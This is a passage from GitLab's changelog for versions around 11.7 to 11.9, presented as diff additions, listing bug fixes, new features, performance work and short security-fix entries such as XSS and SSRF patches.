+- Allow raw `tls_options` to be passed in LDAP configuration. !20678
+- Remove undigested token column from personal_access_tokens table from the database. !22743
+- Update activity filter for issues. !23423 (George Tsiolis)
+- Use auto-build-image for build job in Auto-DevOps.gitlab-ci.yml. !24279
+- Error tracking configuration - add a Sentry project selection dropdown. !24701
+- Move ChatOps to Core. !24780
+- Implement new arguments `state`, `closed_before` and `closed_after` for `IssuesResolver` in GraphQL. !24910
+- Validate kubernetes cluster CA certificate. !24990
+- Review App Link to Changed Page if Only One Change Present. !25048
+- Show pipeline ID, commit, and branch name on modal while stopping pipeline. !25059
+- Improve empty state for starred projects. !25138
+- Capture due date when importing milestones from Github. !25182 (dstanley)
+- Add a spinner icon which is rendered using pure css. !25186
+- Make emoji picker bigger. !25187 (Jacopo Beschi @jacopo-beschi)
+- API: Sort tie breaker with id DESC. !25311 (Nermin Vehabovic)
+- Add iOS-fastlane template for .gitlab-ci.yml. !25395
+- Move language setting to preferences. !25427 (Fabian Schneider @fabsrc)
+- Resolve Create Project Template for Netlify. !25453
+- Sort labels alphabetically on issues and merge requests list. !25470
+- Add Project template for .NET Core. !25486
+- Update operations settings breadcrumb trail. !25539 (George Tsiolis)
+- Add Project template for go-micro. !25553
+- Jira: make issue links title compact. !25609 (Elan Ruusamäe @glensc)
+- Project level filtering for JupyterHub. !25684 (Amit Rathi (amit1rrr))
+- Clean up vendored templates. !25794
+- Mask all TOKEN and PASSWORD CI variables. !25868
+- Add project template for Android. !25870
+- Add iOS project template. !25872
+- Upgrade to Gitaly v1.26.0. !25890
+
+### Performance (11 changes)
+
+- Improve performance for diverging commit counts. !24287
+- Optimize Redis usage in User::ActivityService. !25005
+- Only load syntax highlight CSS of selected theme. !25232
+- Improve label select rendering. !25281
+- Enable persisted pipeline stages by default. !25347
+- Speed up group issue search counts. !25411
+- Load repository language from the database if detected before. !25518
+- Remove N+1 query for tags in /admin/runners page. !25572
+- Eliminate most N+1 queries loading UserController#calendar_activities. !25697
+- Improve Web IDE launch performance. !25700
+- Significantly reduce N+1 queries in /api/v4/todos endpoint. !25711
+
+### Added (55 changes, 18 of them are from the community)
+
+- Add a tag filter to the admin runners view. !19740 (Alexis Reigel)
+- Add project fetch statistics. !23596 (Jacopo Beschi @jacopo-beschi)
+- Hashed Storage rollback mechanism. !23955
+- Allow to recursively expand includes. !24356
+- Allow expanding a diff to display full file. !24406
+- Support `only: changes:` on MR pipelines. !24490 (Hiroyuki Sato)
+- Expose additional merge request pipeline variables. !24595 (Hiroyuki Sato)
+- Add metadata about the GitLab server to GraphQL. !24636
+- Support merge ref writing (without merging to target branch). !24692
+- Add field mergeRequests for project in GraphQL. !24805
+- API support for MR merge to temporary merge ref path. !24918
+- Ability to filter confidential issues. !24960 (Robert Schilling)
+- Allow creation of branches that match a wildcard protection, except directly through git. !24969
+- Add related merge request count to api response. !24974
+- Add realtime validation for user fullname and username on validation. !25017 (Ehsan Abdulqader @EhsanZ)
+- Allow setting feature flags per GitLab group through the API. !25022
+- Add API endpoint to get a commit's GPG signature. !25032
+- Add support for FTP assets for releases. !25071 (Robert Schilling)
+- Add Confirmation Modal to Rollback on Environment. !25110
+- add title attribute to display file name. !25154 (Satoshi Nakamatsu @satoshicano)
+- API: Expose text_color for project and group labels. !25172 (Robert Schilling)
+- Added support for ingress hostnames. !25181 (walkafwalka)
+- API: Promote project milestone to a group milestone. !25203 (Nermin Vehabovic)
+- API: Expose if the current user can merge a MR. !25207 (Robert Schilling)
+- add readme to changelogs directory. !25209 (@glensc)
+- API: Indicate if label is a project label. !25219 (Robert Schilling)
+- Expose refspecs and depth to runner. !25233
+- Port System Header and Footer feature to Core. !25241
+- Sort Environments by Last Updated. !25260
+- Accept force option to overwrite branch on commit via API. !25286
+- Add support for masking CI variables. !25293
+- Add Link from Closed (moved) Issues to Moved Issue. !25300
+- Next/previous navigation between files in MR review. !25355
+- Add YouTrack integration service. !25361 (Yauhen Kotau @bessorion)
+- Add ability to set path and name for project on fork using API. !25363
+- Add project level config for merge pipelines. !25385
+- Edit Knative domain after it has been deployed. !25386
+- Add zoom and scroll to metrics dashboard. !25388
+- Persist source sha and target sha for merge pipelines. !25417
+- Add support for toggling discussion filter from notes section. !25426
+- Resolve Move files in the Web IDE. !25431
+- Show header and footer system messages in email. !25474
+- Allow configuring POSTGRES_VERSION in Auto DevOps. !25500
+- Add Saturday to Localization first day of the week. !25509 (Ahmad Haghighi)
+- Extend the Gitlab API for deletion of job_artifacts of a single job. !25522 (rroger)
+- Simplify CI/CD configuration on serverless projects. !25523
+- Add button to start discussion from single comment. !25575
+- sidekiq: terminate child processes at shutdown. !25669
+- Expose merge request entity for pipelines. !25679
+- Link to most recent MR from a branch. !25689
+- Adds Auto DevOps build job for tags. !25718 (walkafwalka)
+- Allow all snippets to be accessed by API. !25772
+- Make file tree in merge requests resizable.
+- Make the Web IDE the default editor.
+- File uploads are deleted asynchronously when deleting a project or group.
+
+### Other (28 changes, 6 of them are from the community)
+
+- Improve GitHub and Gitea project import table UI. !24606
+- Externalize strings from `/app/views/projects/commit`. !24668 (George Tsiolis)
+- Correct non-standard unicode spaces to regular unicode. !24795 (Marcel Amirault)
+- Provide a performance bar link to the Jaeger UI. !24902
+- Remove BATCH_SIZE from WikiFileFinder. !24933
+- Use export-import svgs from gitlab-svgs. !24954
+- Fix N+1 query in Issues and MergeRequest API when issuable_metadata is present. !25042 (Alex Koval)
+- Directly inheriting from ActiveRecord::Migration is deprecated. !25066 (Jasper Maes)
+- Bump Helm and kubectl in Auto DevOps to 2.12.3 and 1.11.7 respectively. !25072
+- Log queue duration in production_json.log. !25075
+- Extracted ResolveWithIssueButton to its own component. !25093 (Martin Hobert)
+- Add rectangular project and group avatars. !25098
+- Include note in the Rails filter_parameters configuration. !25238
+- Bump Helm and kubectl used in Kubernetes integration to 2.12.3 and 1.11.7 respectively. !25268
+- Include gl_project_path in API /internal/allowed response. !25314
+- Fix incorrect Pages Domains checkbox description. !25392 (Anton Melser)
+- Update GitLab Runner Helm Chart to 0.2.0. !25493
+- Add suffix (`_event`) to merge request source. !25508
+- Creates a helper function to check if repo is EE. !25647
+- If chpst is available, make fron-source installations run sidekiq as a process group leader. !25654
+- Bring back Rugged implementation of GetTreeEntries. !25674
+- Moves EE util into the CE file. !25680
+- Bring back Rugged implementation of CommitIsAncestor. !25702
+- Bring back Rugged implementation of TreeEntry. !25706
+- Enable syntax highlighting to other supported markups. !25761
+- Update GitLab Shell to v8.7.1. !25801
+- Bring back Rugged implementation of commit_tree_entry. !25896
+- Removes EE differences for jobs/getters.js.
+
+
+## 11.8.10 (2019-04-30)
+
+### Security (1 change)
+
+- Allow to see project events only with api scope token.
+
+
+## 11.8.8 (2019-04-23)
+
+### Fixed (5 changes)
+
+- Bring back Rugged implementation of find_commit. !25477
+- Fix bug in BitBucket imports with SHA shorter than 40 chars. !26050
+- Fix health checks not working behind load balancers. !26055
+- Fix error creating a merge request when diff includes a null byte. !26190
+- Avoid excessive recursive calls with Rugged TreeEntries. !26813
+
+### Performance (1 change)
+
+- Bring back Rugged implementation of ListCommitsByOid. !27441
+
+### Other (4 changes)
+
+- Bring back Rugged implementation of GetTreeEntries. !25674
+- Bring back Rugged implementation of CommitIsAncestor. !25702
+- Bring back Rugged implementation of TreeEntry. !25706
+- Bring back Rugged implementation of commit_tree_entry. !25896
+
+
+## 11.8.3 (2019-03-19)
+
+### Security (1 change)
+
+- Remove project serialization in quick actions response.
+
+
+## 11.8.2 (2019-03-13)
+
+### Security (1 change)
+
+- Fixed ability to see private groups by users not belonging to given group.
+
+### Fixed (5 changes)
+
+- Fix import_jid error on project import. !25239
+- Properly handle multiple X-Forwarded-For addresses in runner IP. !25511
+- Fix error when viewing group issue boards when user doesn't have explicit group permissions. !25524
+- Fix method to mark a project repository as writable. !25546
+- Allow project members to see private group if the project is in the group namespace.
+
+
+## 11.8.0 (2019-02-22)
+
+### Security (7 changes, 1 of them is from the community)
+
+- Sanitize user full name to clean up any URL to prevent mail clients from auto-linking URLs. !2793
+- Update Helm to 2.12.2 to address Helm client vulnerability. !24418 (Takuya Noguchi)
+- Use sanitized user status message for user popover.
+- Validate bundle files before unpacking them.
+- Alias GitHub and BitBucket OAuth2 callback URLs.
+- Fixed XSS content in KaTex links.
+- Disallows unauthorized users from accessing the pipelines section.
+
+### Removed (2 changes, 1 of them is from the community)
+
+- Removed deprecated Redcarpet markdown engine.
+- Remove Cancel all jobs button in general jobs list view. (Jordi Llull)
+
+### Fixed (84 changes, 20 of them are from the community)
+
+- Fix ambiguous brackets in task lists. !18514 (Jared Deckard <jared.deckard@gmail.com>)
+- Fix lost line number when navigating to a specific line in a protected file before authenticating. !19165 (Scott Escue)
+- Fix suboptimal handling of checkbox and radio input events causing group general settings submit button to stay disabled after changing its visibility. !23022
+- Fix upcoming milestones filter not including group milestones. !23098 (Heinrich Lee Yu)
+- Update runner admin page to make description field larger. !23593 (Sascha Reynolds)
+- Fix Bitbucket Server import not allowing personal projects. !23601
+- Fix bug causing repository mirror settings UI to break. !23712
+- Fix foreground color for labels to ensure consistency of label appearance. !23873 (Nathan Friend)
+- Resolve In Merge Request diff screen, master is not a hyperlink. !23874
+- Show the correct error page when access is denied. !23932
+- Increase reliability and performance of toggling task items. !23938
+- Modify file restore to rectify tar issue. !24000
+- Fix default visibility_level for new projects. !24120 (Fabian Schneider @fabsrc)
+- Footnotes now render properly in markdown. !24168
+- Emoji and cancel button are taller than input in set user status modal. !24173 (Dhiraj Bodicherla)
+- Adjusts duplicated line when commenting on unfolded diff lines (in the bottom). !24201
+- Adjust height of "Add list" dropdown in issue boards. !24227
+- Improves restriction of multiple Kubernetes clusters through API. !24251
+- Fix files/blob api endpoints content disposition. !24267
+- Cleanup stale +deleted repo paths on project removal (adjusts project removal bug). !24269
+- Handle regular job dependencies next to parallelized job dependencies. !24273
+- Proper align Projects dropdown on issue boards page. !24277 (Johann Hubert Sonntagbauer)
+- Resolve When merging an MR, the squash checkbox isnt always supported. !24296
+- Fix Bitbucket Server importer error handling. !24343
+- Fix syntax highlighting for suggested changes preview. !24358
+- API: Support dots in wiki slugs. !24383 (Robert Schilling)
+- Show CI artifact file size with 3 significant digits on 'browse job artifacts' page. !24387
+- API: Support username with dots. !24395 (Robert Schilling)
+- API: Fix default_branch_protection admin setting. !24398 (Robert Schilling)
+- Remove unwanted margin above suggested changes. !24419
+- Prevent checking protected_ref? for ambiguous refs. !24437
+- Update metrics environment dropdown to show complete option set. !24441
+- Fix empty labels of CI builds for gitlab-pages on pipeline page. !24451
+- Do not run spam checks on confidential issues. !24453
+- Upgrade KaTeX to version 0.10.0. !24478 (Andrew Harmon)
+- Avoid overwriting default jaeger values with nil. !24482
+- Display SAML failure messages instead of expecting CSRF token. !24509
+- Adjust vertical alignment for project visibility icons. !24511 (Martin Hobert)
+- Load initUserInternalRegexPlaceholder only when required. !24522
+- Hashed Storage: `AfterRenameService` was receiving the wrong `old_path` under some circumstances. !24526
+- Resolve Runners IPv6 address overlaps other values. !24531
+- Fix 404s with snippet uploads in object storage. !24550
+- Fixed oversized custom project notification selector dropdown. !24557
+- Allow users with full private access to read private personal snippets. !24560
+- Resolve Pipeline stages job action button icon is not aligned. !24577
+- Fix cluster page non-interactive on form validation error. !24583
+- Fix 404s for snippet uploads when relative URL root used. !24588
+- Fix markdown table border. !24601
+- Fix CSS grid on a new Project/Group Milestone. !24614 (Takuya Noguchi)
+- Prevent unload when Recaptcha is open. !24625
+- Clean up unicorn sampler metric labels. !24626 (bjk-gitlab)
+- Support bamboo api polymorphism. !24680 (Alex Lossent)
+- Ensure Cert Manager works with Auto DevOps URLs greater than 64 bytes. !24683
+- Fix failed LDAP logins when nil user_id present. !24749
+- fix display comment avatars issue in IE 11. !24777 (Gokhan Apaydin)
+- Fix template labels not being created on new projects. !24803
+- Fix cluster installation processing spinner. !24814
+- Append prioritized label before pagination. !24815
+- Resolve UI bug adding group members with lower permissions. !24820
+- Make `ActionController::Parameters` serializable for sidekiq jobs. !24864
+- Fix Jira Service password validation on project integration services. !24896 (Daniel Juarez)
+- Fix potential Addressable::URI::InvalidURIError. !24908
+- Update Workhorse to v8.2.0. !24909
+- Encode Content-Disposition filenames. !24919
+- Avoid race conditions when creating GpgSignature. !24939
+- Create the source branch for a GitHub import. !25064
+- Fix suggested changes syntax highlighting. !25116
+- Fix counts in milestones dashboard. !25230
+- Fixes incorrect TLD validation errors for Kubernetes cluster domain. !25262
+- Fix 403 errors when adding an assignee list in project boards. !25263
+- Prevent Auto DevOps from trying to deploy without a domain name. !25308
+- Fix uninitialized constant with GitLab Pages.
+- Increase line height of project summaries. (gfyoung)
+- Remove extra space between MR tab bar and sticky file headers.
+- Correct spacing for comparison page.
+- Update CI YAML param table with include.
+- Return bottom border on MR Tabs.
+- Fixes z-index and margins of archived alert in job page.
+- Fixes archived sticky top bar without performance bar.
+- Fixed rebase button not showing in merge request widget.
+- Fixed double tooltips on note awards buttons.
+- Allow suggestions to be copied and pasted as GFM.
+- Fix bug that caused Suggestion Markdown toolbar button to insert snippet with leading +/-/<space>.
+- Moved primary button for labels to follow the design patterns used on rest of the site. (Martin Hobert)
+
+### Changed (37 changes, 11 of them are from the community)
+
+- Change spawning of tooltips to be top by default. !21223
+- Standardize filter value capitlization in filter bar in both issues and boards pages. !23846 (obahareth)
+- Refresh group overview to match project overview. !23866
+- Build number does not need to be tweaked anymore for the TeamCity integration to work properly. !23898
+- Added empty project illustration and updated text to user profile overview. !23973 (Fernando Arias)
+- Modified Knative list view to provide more details. !24072 (Chris Baumbauer)
+- Move cancel & new issue button on job page. !24074
+- Make issuable empty states actionable. !24077
+- Fix code search when text is larger than max gRPC message size. !24111
+- Update string structure for available group runners. !24187 (George Tsiolis)
+- Remove multilingual translation from the word "in" in the job details sidebar. !24192 (Nathan Friend)
+- Fix duplicate project disk path in BackfillLegacyProjectRepositories. !24213
+- Ensured links to a comment or system note anchor resolves to the right note if a user has a discussion filter. !24228
+- Remove expansion hover animation from pipeline status icon buttons. !24268 (Nathan Friend)
+- Redesigned related merge requests in issue page. !24270
+- Return the maximum group access level in the projects API. !24403
+- Update project topics styling to use badges design. !24415
+- Display "commented" only for commit discussions on merge requests. !24427
+- Upgrade js-regex gem to version 3.1. !24433 (rroger)
+- Prevent Sidekiq arguments over 10 KB in size from being logged to JSON. !24493
+- Added Avatar in the settings sidebar. !24515 (Yoginth)
+- Refresh empty states for profile page tabs. !24549
+- remove red/green colors from diff view of no-color syntax theme. !24582 (khm)
+- Get remote IP address of runner. !24624
+- Update last_activity_on for Users on some main GET endpoints. !24642
+- Update metrics dashboard graph design. !24653
+- Update to GitLab SVG icon from Font Awesome in profile for location and work. !24671 (Yoginth)
+- Add template for Android with Fastlane. !24722
+- Display timestamps to messages printed by gitlab:backup:restore rake tasks. (Will Chandler)
+- Show MR statistics in diff comparisons.
+- Make possible to toggle file tree while scrolling through diffs.
+- Use delete instead of remove when referring to `git branch -D`.
+- Add folder header to files in merge request tree list.
+- Added fuzzy file finder to merge requests.
+- Collapse directory structure in merge request file tree.
+- Adds skeleton loading to releases page.
+- Support multiple outputs in jupyter notebooks.
+
+### Performance (8 changes, 1 of them is from the community)
+
+- Remove unused button classes `btn-create` and `comment-btn`. !23232 (George Tsiolis)
+- [API] Omit `X-Total` and `X-Total-Pages` headers when items count is more than 10,000. !23931
+- Improve efficiency of GitHub importer by reducing amount of locks needed. !24102
+- Improve milestone queries using subqueries instead of separate queries for ids. !24325
+- Efficiently remove expired artifacts in `ExpireBuildArtifactsWorker`. !24450
+- Eliminate N+1 queries in /api/groups/:id. !24513
+- Use deployment relation to get an environment name. !24890
+- Do not reload daemon if configuration file of pages does not change.
+
+### Added (35 changes, 18 of them are from the community)
+
+- Add badge count to projects. !18425 (George Tsiolis)
+- API: Add support for group labels. !21368 (Robert Schilling)
+- Add setting for first day of the week. !22755 (Fabian Schneider @fabsrc)
+- Pages for subgroups. !23505
+- Add support for customer provided encryption keys for Amazon S3 remote backups. !23797 (Pepijn Van Eeckhoudt)
+- Add Knative detailed view. !23863 (Chris Baumbauer)
+- Add group full path to project's shared_with_groups. !24052 (Mathieu Parent)
+- Added feature to specify a custom Auto DevOps chart repository. !24162 (walkafwalka)
+- Add flat-square badge style. !24172 (Fabian Schneider @fabsrc)
+- Display last activity and created at datetimes for users. !24181
+- Allow setting of feature gates per project. !24184
+- Save issues/merge request sorting options to backend. !24198
+- Added support for custom hosts/domains to Auto DevOps. !24248 (walkafwalka)
+- Adds milestone search. !24265 (Jacopo Beschi @jacopo-beschi)
+- Allow merge request diffs to be placed into an object store. !24276
+- Add Container Registry API with cleanup function. !24303
+- GitLab now supports the profile and email scopes from OpenID Connect. !24335 (Goten Xiao)
+- Add 'in' filter that modifies scope of 'search' filter to issues and merge requests API. !24350 (Hiroyuki Sato)
+- Add `with_programming_language` filter for projects to API. !24377 (Dylan MacKenzie)
+- API: Support searching for tags. !24385 (Robert Schilling)
+- Document graphicsmagick installation for source installation. !24404 (Alexis Reigel)
+- Redirect GET projects/:id to project page. !24467
+- Indicate on Issue Status if an Issue was Moved. !24470
+- Redeploy Auto DevOps deployment on variable updates. !24498 (walkafwalka)
+- Don't create new merge request pipeline without commits. !24503 (Hiroyuki Sato)
+- Add GitLab Pages predefined CI variables 'CI_PAGES_DOMAIN' and 'CI_PAGES_URL'. !24504 (Adrian Moisey)
+- Moves domain setting from Auto DevOps to Cluster's page. !24580
+- API allows setting the squash commit message when squashing a merge request. !24784
+- Added ability to upgrade cluster applications. !24789
+- Add argument iids for issues in GraphQL. !24802
+- Add repositories count to usage ping data. !24823
+- Add support for extensionless pages URLs. !24876
+- Add templates for most popular Pages templates. !24906
+- Introduce Internal API for searching environment names. !24923
+- Allow admins to invalidate markdown texts by setting local markdown version.
+
+### Other (50 changes, 18 of them are from the community)
+
+- Externalize strings from `/app/views/projects/project_members`. !23227 (Tao Wang)
+- Add CSS & JS global flags to represent browser and platform. !24017
+- Fix deprecation: Passing an argument to force an association to reload is now deprecated. !24136 (Jasper Maes)
+- Cleanup legacy artifact background migration. !24144
+- Bump kubectl in Auto DevOps to 1.11.6. !24176
+- Conditionally initialize the global opentracing tracer. !24186
+- Remove horizontal whitespace on user profile overview on small breakpoints. !24189
+- Bump nginx-ingress chart to 1.1.2. !24203
+- Use monospace font for registry table tag id and tag name. !24205
+- Rename project tags to project topics. !24219
+- Add uniqueness validation to url column in Releases::Link model. !24223
+- Update sidekiq-cron to 1.0.4 and use fugit to replace rufus-scheduler to parse cron syntax. !24235
+- Adds inter-service OpenTracing propagation. !24239
+- Fixes Auto DevOps title on CI/CD admin settings. !24249
+- Upgrade kubeclient to 4.2.2 and swap out monkey-patch to disallow redirects. !24284
+- i18n: externalize strings from 'app/views/search'. !24297 (Tao Wang)
+- Fix several ActionController::Parameters deprecations. !24332 (Jasper Maes)
+- Remove all `$theme-gray-{weight}` variables in favor of `$gray-{weight}`. !24333 (George Tsiolis)
+- Update gitlab-styles to 2.5.1. !24336 (Jasper Maes)
+- Modifies environment scope UI on cluster page. !24376
+- Extract process_name from GitLab::Sentry. !24422
+- Upgrade Gitaly to 1.13.0. !24429
+- Actually set raise_on_unfiltered_parameters to true. !24443 (Jasper Maes)
+- Refactored NoteableDiscussion by extracting ResolveDiscussionButton. !24505 (Martin Hobert)
+- Extracted JumpToNextDiscussionButton to its own component. !24506 (Martin Hobert)
+- Extracted ReplyPlaceholder to its own component. !24507 (Martin Hobert)
+- Block emojis and symbol characters from users full names. !24523
+- Update GitLab Runner Helm Chart to 0.1.45. !24564
+- Updated docs for fields in pushing mirror from GitLab to GitHub. !24566 (Joseph Yu)
+- Upgrade gitlab-workhorse to 8.1.0. !24571
+- Externalize strings from `/app/views/sent_notifications`. !24576 (George Tsiolis)
+- Adds tracing support for ActiveRecord notifications. !24604
+- Externalize strings from `/app/views/projects/ci`. !24617 (George Tsiolis)
+- Move permission check of manual actions of deployments. !24660
+- Externalize strings from `/app/views/clusters`. !24666 (George Tsiolis)
+- Update UI for admin appearance settings. !24685
+- Externalize strings from `/app/views/projects/pages_domains`. !24723 (George Tsiolis)
+- Externalize strings from `/app/views/projects/milestones`. !24726 (George Tsiolis)
+- Add OpenTracing instrumentation for Action View Render events. !24728
+- Expose version for each application in cluster_status JSON endpoint. !24791
+- Externalize strings from `/app/views/instance_statistics`. !24809 (George Tsiolis)
+- Update cluster application version on updated and installed status. !24810
+- Project list UI improvements. !24855
+- Externalize strings from `/app/views/email_rejection_mailer`. !24869 (George Tsiolis)
+- Update Gitaly to v1.17.0. !24873
+- Update Workhorse to v8.3.0. !24959
+- Upgrade gitaly to 1.18.0. !24981
+- Update Workhorse to v8.3.1.
+- Upgraded Codesandbox smooshpack package.
+- Creates mixin to reduce code duplication between CE and EE in graph component.
+
+
+## 11.7.12 (2019-04-23)
+
+### Fixed (2 changes)
+
+- Bring back Rugged implementation of find_commit. !25477
+- Avoid excessive recursive calls with Rugged TreeEntries. !26813
+
+### Performance (1 change)
+
+- Bring back Rugged implementation of ListCommitsByOid. !27441
+
+### Other (4 changes)
+
+- Bring back Rugged implementation of GetTreeEntries. !25674
+- Bring back Rugged implementation of CommitIsAncestor. !25702
+- Bring back Rugged implementation of TreeEntry. !25706
+- Bring back Rugged implementation of commit_tree_entry. !25896
+
+
+## 11.7.11 (2019-04-09)
+
+- No changes.
+
+## 11.7.10 (2019-03-28)
+
+### Security (7 changes)
+
+- Disallow guest users from accessing Releases.
+- Fix PDF.js vulnerability.
+- Hide "related branches" when user does not have permission.
+- Fix XSS in resolve conflicts form.
+- Added rake task for removing EXIF data from existing uploads.
+- Disallow updating namespace when updating a project.
+- Use UntrustedRegexp for matching refs policy.
+
+
+## 11.7.8 (2019-03-26)
+
+- No changes.
+
+## 11.7.7 (2019-03-19)
+
+### Security (2 changes)
+
+- Remove project serialization in quick actions response.
+- Fixed ability to see private groups by users not belonging to given group.
+
+
+## 11.7.5 (2019-02-05)
+
+### Fixed (8 changes)
+
+- Fix import handling errors in Bitbucket Server importer. !24499
+- Adjusts suggestions unable to be applied. !24603
+- Fix 500 errors with legacy appearance logos. !24615
+- Fix form functionality for edit tag page. !24645
+- Update Workhorse to v8.0.2. !24870
+- Downcase aliased OAuth2 callback providers. !24877
+- Fix Detect Host Keys not working. !24884
+- Changed external wiki query method to prevent attribute caching. !24907
+
+
+## 11.7.2 (2019-01-29)
+
+### Fixed (1 change)
+
+- Fix uninitialized constant with GitLab Pages.
+
+
+## 11.7.1 (2019-01-28)
+
+### Security (24 changes)
+
+- Make potentially malicious links more visible in the UI and scrub RTLO chars from links. !2770
+- Don't process MR refs for guests in the notes. !2771
+- Sanitize user full name to clean up any URL to prevent mail clients from auto-linking URLs. !2828
+- Fixed XSS content in KaTex links.
+- Disallows unauthorized users from accessing the pipelines section.
+- Verify that LFS upload requests are genuine.
+- Extract GitLab Pages using RubyZip.
+- Prevent awarding emojis to notes whose parent is not visible to user.
+- Prevent unauthorized replies when discussion is locked or confidential.
+- Disable git v2 protocol temporarily.
+- Fix showing ci status for guest users when public pipline are not set.
+- Fix contributed projects info still visible when user enable private profile.
+- Add subresources removal to member destroy service.
+- Add more LFS validations to prevent forgery.
+- Use common error for unauthenticated users when creating issues.
+- Fix slow regex in project reference pattern.
+- Fix private user email being visible in push (and tag push) webhooks.
+- Fix wiki access rights when external wiki is enabled.
+- Group guests are no longer able to see merge requests they don't have access to at group level.
+- Fix path disclosure on project import error.
+- Restrict project import visibility based on its group.
+- Expose CI/CD trigger token only to the trigger owner.
+- Notify only users who can access the project on project move.
+- Alias GitHub and BitBucket OAuth2 callback URLs.
+
+
+## 11.7.0 (2019-01-22)
+
+### Security (14 changes, 1 of them is from the community)
+
+- Escape label and milestone titles to prevent XSS in GFM autocomplete. !2693
+- Bump Ruby on Rails to 5.0.7.1. !23396 (@blackst0ne)
+- Delete confidential todos for user when downgraded to Guest.
+- Project guests no longer are able to see refs page.
+- Set URL rel attribute for broken URLs.
+- Prevent leaking protected variables for ambiguous refs.
+- Authorize before reading job information via API.
+- Allow changing group CI/CD settings only for owners.
+- Fix SSRF with import_url and remote mirror url.
+- Don't expose cross project repositories through diffs when creating merge reqeusts.
+- Validate bundle files before unpacking them.
+- Issuable no longer is visible to users when project can't be viewed.
+- Escape html entities in LabelReferenceFilter when no label found.
+- Prevent private snippets from being embeddable.
+
+### Removed (3 changes, 1 of them is from the community)
+
+- Removes all instances of deprecated Gitlab Upgrader calls. !23603 (@jwolen)
+- Removed discard draft comment button form notes. !24185
+- Remove migration to backfill project_repositories for legacy storage projects. !24299
+
+### Fixed (42 changes, 7 of them are from the community)
+
+- Prevent awards emoji being updated when updating status. !23470
+- Allow merge after rebase without page refresh on FF repositories. !23572
+- Prevent admins from attempting hashed storage migration on read only DB. !23597
+- Correct the ordering of metrics on the performance dashboard. !23630
+- Display empty files properly on MR diffs. !23671 (Sean Nichols)
+- Allow GitHub imports via token even if OAuth2 provider not configured. !23703
+- Update header navigation theme colors. !23734 (George Tsiolis)
+- Fix login box bottom margins on signin page. !23739 (@gear54)
+- Return an ApplicationSetting in CurrentSettings. !23766
+- Fix bug commenting on LFS images. !23812
+- Only prompt user once when navigating away from file editor. !23820 (Sam Bigelow)
+- Display commit ID for discussions made on merge request commits. !23837
+- Stop autofocusing on diff comment after initial mount. !23849
+- Fix object storage not working properly with Google S3 compatibility. !23858
+- Fix project calendar feed when sorted by priority. !23870
+- Fix edit button disappearing in issue title. !23948 (Ruben Moya)
+- Aligns build loader animation with the job log. !23959
+- Allow 'rake gitlab:cleanup:remote_upload_files' to read bucket files without having permissions to see all buckets. !23981
+- Correctly externalize pipeline tags. !24028
+- Fix error when creating labels in a new issue in the boards page. !24039 (Ruben Moya)
+- Use 'parsePikadayDate' to parse due date string. !24045
+- Fix commit SHA not showing in merge request compare dropdown. !24084
+- Remove top margin in modal header titles. !24108
+- Drop Webhooks from project import/export config. !24121
+- Only validate project visibility when it has changed. !24142
+- Resolve About this feature link should open in new window. !24149
+- Add syntax highlighting to suggestion diff. !24156
+- Fix Bitbucket Server import only including first 25 pull requests. !24178
+- Enable caching for records which primary key is not `id`. !24245
+- Adjust applied suggestion reverting previous changes. !24250
+- Fix unexpected exception by failure of finding an actual head pipeline. !24257
+- Fix broken templated "Too many changes to show" text. !24282
+- Fix requests profiler in admin page not rendering HTML properly. !24291
+- Fix no avatar not showing in user selection box. !24346
+- Upgrade to gitaly 1.12.1. !24361
+- Fix runner eternal loop when update job result. !24481
+- Fix notification email for image diff notes.
+- Fixed merge request diffs empty states.
+- Fixed diff suggestions removing dashes.
+- Don't hide CI dropdown behind diff summary. (gfyoung)
+- Fix spacing on discussions.
+- Fixes missing margin in releases block.
+
+### Changed (22 changes, 8 of them are from the community)
+
+- Show clusters of ancestors in cluster list page. !22996
+- Remove unnecessary line before reply holder. !23092 (George Tsiolis)
+- Make the Pages permission setting more clear. !23146
+- Disable merging of labels with same names. !23265
+- Allow basic authentication on go get middleware. !23497 (Morty Choi @mortyccp)
+- No longer require email subaddressing for issue creation by email. !23523
+- Adjust padding of .dropdown-title to comply with design specs. !23546
+- Make commit IDs in merge request discussion header monospace. !23562
+- Update environments breadcrumb. !23751 (George Tsiolis)
+- Add date range in milestone change email notifications. !23762
+- Require Knative to be installed only on an RBAC kubernetes cluster. !23807 (Chris Baumbauer)
+- Fix label and header styles in the job details sidebar. !23816 (Nathan Friend)
+- Add % prefix to milestone reference links. !23928
+- Reorder sidebar menu item for group clusters. !24001 (George Tsiolis)
+- Support CURD operation for Links as one of the Release assets. !24056
+- Upgrade Omniauth and JWT gems to switch away from Google+ API. !24068
+- Renames Milestone sort into Milestone due date. !24080 (Jacopo Beschi @jacopo-beschi)
+- Discussion filter only displayed in discussions tab for merge requests. !24082
+- Make RBAC enabled default for new clusters. !24119
+- Hashed Storage: Only set as `read_only` when starting the per-project migration. !24128
+- Knative version bump 0.1.3 -> 0.2.2. (Chris Baumbauer)
+- Show message on non-diff discussions.
+
+### Performance (7 changes)
+
+- Fix some N+1 queries related to Admin Dashboard, User Dashboards and Activity Stream. !23034
+- Add indexes to speed up CI query. !23188
+- Improve the loading time on merge request's discussion page by caching diff highlight. !23857
+- Cache avatar URLs and paths within a request. !23950
+- Improve snippet search performance by removing duplicate counts. !23952
+- Skip per-commit validations already evaluated. !23984
+- Fix timeout issues retrieving branches via API. !24034
+
+### Added (29 changes, 6 of them are from the community)
+
+- Handle ci.skip push option. !15643 (Jonathon Reinhart)
+- Add NGINX 0.16.0 and above metrics. !22133
+- Add project milestone link. !22552
+- Support tls communication in gitaly. !22602
+- Add option to make ci variables protected by default. !22744 (Alexis Reigel)
+- Add project identifier as List-Id email Header to ease filtering. !22817 (Olivier Crête)
+- Add markdown helper buttons to file editor. !23480
+- Allow to include templates in gitlab-ci.yml. !23495
+- Extend override check to also check arity. !23498 (Jacopo Beschi @jacopo-beschi)
+- Add importing of issues from CSV file. !23532
+- Add submit feedback link to help dropdown. !23547
+- Send a notification email to project maintainers when a mirror update fails. !23595
+- Restore Object Pools when restoring an object pool. !23682
+- Creates component for release block. !23697
+- Configure Auto DevOps deployed applications with secrets from prefixed CI variables. !23719
+- Add name, author_id, and sha to releases table. !23763
+- Display a list of Sentry Issues in GitLab. !23770
+- Releases API. !23795
+- Creates frontend app for releases. !23796
+- Add new pipeline variable CI_COMMIT_SHORT_SHA. !23822
+- Create system notes on issue / MR creation when labels, milestone, or due date is set. !23859
+- Adds API documentation for releases. !23901
+- Add API Support for Kubernetes integration. !23922
+- Expose CI/CD predefined variable `CI_API_V4_URL`. !23936
+- Add Knative metrics to Prometheus. !23972 (Chris Baumbauer)
